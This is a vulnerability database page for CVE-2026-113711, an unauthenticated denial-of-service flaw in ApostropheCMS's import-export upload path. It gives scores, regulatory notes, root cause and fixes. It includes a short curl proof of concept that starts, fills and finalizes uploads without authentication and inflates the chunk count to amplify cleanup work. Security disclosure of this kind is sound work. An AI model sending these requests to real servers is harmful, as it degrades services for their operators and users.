Apostrophe: Allocation of Resources Without Limits or Throttling (CVE-2026-113711)
Published Last modified Sources: OSV, Hersteller, CVE.org
What is affected, what to do
Update Apostrophe to version 4.33.0, @apostrophecms Import-export to version 3.7.0.
- Affected
- Apostrophe
lt *..4.33.0 - @apostrophecms Import-export
lt *..3.7.0
- Apostrophe
- Fixed in
- Apostrophe
4.33.0 - @apostrophecms Import-export
3.7.0
- Apostrophe
Not sure whether and how you are affected? Ask a question about this vulnerability
Metrics
7.5
Priority
XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.
Source: Vendor (CNA), CVSS v3
7.5
CVSS v3
Severity High on the scale from 0 to 10.
Source: OSV, Hersteller, CVE.org
0.5 %
EPSS score
Low — model estimates < 1% exploitation likelihood.
Source: FIRST EPSS, percentile 43.8
Show all metrics
- Severity
- High
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 82.88 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
XIEM Effective CVSS
XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.
Read in glossary- 7.5 Methodology
CVSS v3
CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.
Read in glossary- 7.5
EPSS score
The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.
Read in glossary- 0.5 %
- Low — model estimates < 1% exploitation likelihood.
EPSS percentile
The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.
Read in glossary- 43.8
- High — this CVE ranks above the median of all CVEs scored today (rank ≥ 36%).
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
CWE
CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.
Read in glossary- CWE-400, CWE-770
Detection rules
No NEOSEC detection rule is available for this vulnerability yet.
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
Summary
A potential unauthenticated denial-of-service vulnerability exists in the chunked import upload path used by @apostrophecms/import-export.
The affected import API routes invoke:
self.apos.http.bigUploadMiddleware()
before the actual import handler performs its authentication check.
Because no authorize callback is supplied to bigUploadMiddleware(), unauthenticated requests can reach the aposBigUpload start, chunk, and end operations before the later req.user check rejects the import.
As a result, an unauthenticated remote attacker can create server-side upload state, write chunk data to upload storage, trigger temporary-file processing, and cause attacker-controlled cleanup operations before authentication is enforced.
Affected Component
Package:
@apostrophecms/import-export
Confirmed affected version:
3.6.2
Potential earlier affected versions:
The issue may affect earlier 3.x releases in which the current big-upload-based import implementation is present. I have not yet fully verified the exact introduction version and recommend that the maintainers confirm the affected version range.
Vulnerability Type
Primary:
CWE-400 — Uncontrolled Resource Consumption
Related:
CWE-306 — Missing Authentication for Critical Function
CWE-770 — Allocation of Resources Without Limits or Throttling
Technical Details
The page import route registers the following middleware chain:
packages/import-export/modules/@apostrophecms/import-export-page/index.js
importExportImport: [
self.apos.http.bigUploadMiddleware(),
async (req) => {
return self.apos.modules['@apostrophecms/import-export']
.import(req, self.__meta.name);
}
]
No authorize callback is passed to bigUploadMiddleware().
The bigUploadMiddleware() implementation explicitly supports an authorize callback and performs that authorization before processing the aposBigUpload protocol when supplied.
Without that callback, requests containing:
aposBigUpload[type]=start
aposBigUpload[type]=chunk
or
aposBigUpload[type]=end
are processed immediately.
The actual authentication check occurs later in:
packages/import-export/lib/methods/import.js
async import(req, moduleName) {
if (!req.user) {
throw self.apos.error('forbidden');
}
This means authentication occurs only after the chunked-upload middleware has already performed server-side work.
Attack Flow
1. Start
An unauthenticated attacker submits an aposBigUpload[type]=start request.
The server generates an upload ID and stores attacker-supplied upload metadata, including the declared chunks count.
2. Chunk
The attacker can upload chunk data.
bigUploadChunk() copies attacker-controlled data into:
/big-uploads/<id>-<n>-<chunk>
3. End
The attacker sends an aposBigUpload[type]=end request.
bigUploadEnd() begins processing the upload and creates temporary files before invoking the downstream import handler.
Only after this processing completes does execution reach the later authentication check in import().
4. Cleanup amplification
The attacker-controlled chunks value is also used by bigUploadCleanupOne():
for (const { chunks } of Object.values(bigUpload.files)) {
for (let i = 0; (i < chunks); i++) {
await ufs.remove(...);
}
}
No small upper bound on the declared chunk count appears to be enforced at upload initialization.
This allows an unauthenticated attacker to increase the number of filesystem cleanup operations performed for an upload.
Proof of Concept
The following reproduction was performed only against an isolated test environment.
Start an upload without authentication
curl -s -X POST \
'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=start' \
-H 'Content-Type: application/json' \
--data '{"files":{"file":{"name":"evil.tar.gz","size":4,"type":"application/gzip","chunks":1}}}'
The server returns an upload ID despite the request having no authenticated session.
Upload a chunk
printf 'PWN!' >/tmp/chunk.bin
curl -s -X POST \
'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=chunk&aposBigUpload[id]=<ID>&aposBigUpload[n]=0&aposBigUpload[chunk]=0' \
-F 'chunk=@/tmp/chunk.bin;type=application/octet-stream'
The request succeeds and causes server-side upload storage to be used.
Finalize the upload
curl -i -X POST \
'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=end&aposBigUpload[id]=<ID>'
Observed behavior:
startreturns HTTP 200 and an upload ID without authentication.chunkreturns HTTP 200 and results in server-side chunk storage.endeventually reaches the downstream authentication check and is rejected.- However, the server-side big-upload processing has already occurred before that authentication rejection.
In my isolated harness:
chunks=1resulted in one cleanup removal attempt.chunks=50resulted in 50 cleanup removal attempts.
This demonstrates that the attacker-controlled chunk count directly influences server-side cleanup work.
Security Impact
The vulnerability allows an unauthenticated remote attacker to cause server-side storage and filesystem operations that should only be reachable by authorized import users.
Possible consequences include:
- Consumption of upload and temporary storage.
- Creation of server-side upload state by unauthenticated users.
- Repeated filesystem I/O.
- Cleanup amplification based on attacker-controlled chunk counts.
- Potential service degradation or denial of service when the attack is repeated or sufficiently amplified.
Root Cause
Authentication is enforced in the downstream import handler rather than before the chunked-upload middleware.
The middleware itself already supports an authorize callback specifically for preventing unauthorized use of the big-upload functionality.
Suggested Remediation
Require authentication before any aposBigUpload operation is processed.
For example:
- Pass an appropriate
authorizecallback tobigUploadMiddleware()on all import routes. - Reject unauthenticated users before
start,chunk, orend. - Enforce reasonable limits on declared chunk counts.
- Validate declared size against actual uploaded data.
- Introduce per-user and global storage/rate limits.
- Ensure temporary files are removed when downstream processing fails.
- Add regression tests confirming that anonymous
start,chunk, andendrequests are rejected before upload state or files are created.
Relevant reviewed commit:
d3ff8c9bb001be1acf7fdc3f035190250ac64b45
Researcher Credit
Kai Zhi
GitHub:
Source: OSV (Open Source Vulnerabilities), GitHub Security Advisories, cvelistv5, NVD (NIST)
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
| Affected versions | Fixed in | ||
|---|---|---|---|
| @apostrophecms | import-export |
|
|
| apostrophecms | apostrophe |
|
|
| npm | @apostrophecms/import-export |
|
|
| npm | apostrophe |
|
|
Vendors and products
Weakness classes (CWE)
CWE-400Uncontrolled Resource Consumption
Class
The product does not properly control the allocation and maintenance of a limited resource.
Entry at MITRE CWE-400CWE-770Allocation of Resources Without Limits or Throttling
Base
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
Entry at MITRE CWE-770
References & sources
- github.comapostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed…x_refsource_MISC, web
- github.comapostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1…x_refsource_MISC, web
- github.comapostrophecms/apostrophe/releases/tag/apostrophe@4.33.0x_refsource_MISC, web
- github.comapostrophecms/apostrophe/security/advisories/GHSA-86wm-68pq-5jwqx_refsource_CONFIRM, web
- NVD (NIST)vuln/detail/CVE-2026-113711advisory
- github.comapostrophecms/apostrophepackage
Reanalysis & status changes
Chronological NVD audit events for this CVE — reanalyses, CVSS updates, CPE diffs.
CVE Modified134c704f-9b21-4f2e-91b3-4a467353bcc0
- Reference: after https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-86wm-68pq-5jwq
- SSVC: after {"id":"CVE-2026-113711","role":"CISA Coordinator","options":[{"exploitation":"poc"},{"automatable":"yes"},{"technical…
New CVE Receivedsecurity-advisories@github.com
- Description: after ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0 of ApostropheCMS and 3.7.0 of the import-export module, import routes invoke bigUploadMiddleware without an early authorize callback, allowing unauthenticated requests to perform upload initialization, chunk storage, temporary processing, and attacker-declared cleanup work before the later user check rejects the import. This issue is fixed in ApostropheCMS 4.33.0 and import-export 3.7.0.
- CVSS V3.1: after AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- CWE: after CWE-400
- CWE: after CWE-770
Embed badge
Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.
<a href="https://intel.neosec.eu/en/cve/CVE-2026-113711"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-113711.svg?lang=en" alt="CVE-2026-113711 – NEOSEC Intel" height="20"></a>